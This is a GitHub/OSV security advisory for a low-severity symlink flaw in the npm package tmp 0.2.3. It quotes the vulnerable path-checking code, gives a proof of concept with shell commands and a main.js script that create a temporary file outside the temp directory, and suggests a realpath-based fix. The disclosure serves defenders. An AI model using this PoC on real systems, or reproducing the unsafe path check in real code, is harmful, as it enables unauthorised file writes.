GHSA-52f5-9888-hmc6

Suggest an improvement
Source
https://github.com/advisories/GHSA-52f5-9888-hmc6
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-52f5-9888-hmc6/GHSA-52f5-9888-hmc6.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-52f5-9888-hmc6
Aliases
Related
Published
2025-08-06T17:06:04Z
Modified
2025-08-07T15:11:22Z
Severity
  • 2.5 (Low) CVSS_V3 - CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N CVSS Calculator
Summary
tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter
Details

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.


// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible. Tested on a Linux machine.

  • Setup: create a symbolic link inside the tmpDir that points to a directory outside of it

    mkdir $HOME/mydir1
    
    ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
    
  • check the folder is empty:

    ls -lha $HOME/mydir1 | grep "tmp-"
    
  • run the poc

    node main.js
    File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
    test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
    test 2: dir option must be relative to "/tmp", found "/foo".
    test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
    
  • the temporary file is created under $HOME/mydir1 (outside the tmpDir):

    ls -lha $HOME/mydir1 | grep "tmp-"
    -rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]
    
  • main.js

    // npm i tmp@0.2.3
    
    const tmp = require('tmp');
    
    const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
    console.log('File: ', tmpobj.name);
    
    try {
        tmp.fileSync({ 'dir': 'mydir1'});
    } catch (err) {
        console.log('test 1:', err.message)
    }
    
    try {
        tmp.fileSync({ 'dir': '/foo'});
    } catch (err) {
        console.log('test 2:', err.message)
    }
    
    try {
        const fs = require('node:fs');
        const resolved = fs.realpathSync('/tmp/evil-dir');
        tmp.fileSync({ 'dir': resolved});
    } catch (err) {
        console.log('test 3:', err.message)
    }
    

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink

Database specific
{
    "cwe_ids": [
        "CWE-59"
    ],
    "nvd_published_at": "2025-08-07T01:15:26Z",
    "severity": "LOW",
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-06T17:06:04Z"
}
References

Affected packages

npm / tmp

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.2.4

Database specific

{
    "last_known_affected_version_range": "<= 0.2.3"
}